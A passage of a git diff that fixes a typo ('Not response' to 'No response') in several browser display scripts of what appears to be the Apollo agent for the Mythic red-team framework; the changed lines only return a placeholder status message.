- return {"plaintext": "Not response yet from agent..."}
+ return {"plaintext": "No response yet from agent..."}
}
}
\ No newline at end of file
diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js
index f220f2ed..801c438c 100644
--- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js
+++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_extract.js
@@ -45,6 +45,6 @@ function(task, responses) {
}
// this means we shouldn't have any output
- return { "plaintext": "Not response yet from agent..." }
+ return { "plaintext": "No response yet from agent..." }
}
diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js
index 8ddb27f0..b8759b1c 100644
--- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js
+++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_cache_list.js
@@ -93,6 +93,6 @@ function(task, responses) {
}
// this means we shouldn't have any output
- return { "plaintext": "Not response yet from agent..." }
+ return { "plaintext": "No response yet from agent..." }
}
diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js
index d1e38993..c93abc7b 100644
--- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js
+++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/ticket_store_list.js
@@ -73,6 +73,6 @@ function(task, responses) {
}
// this means we shouldn't have any output
- return { "plaintext": "Not response yet from agent..." }
+ return { "plaintext": "No response yet from agent..." }
}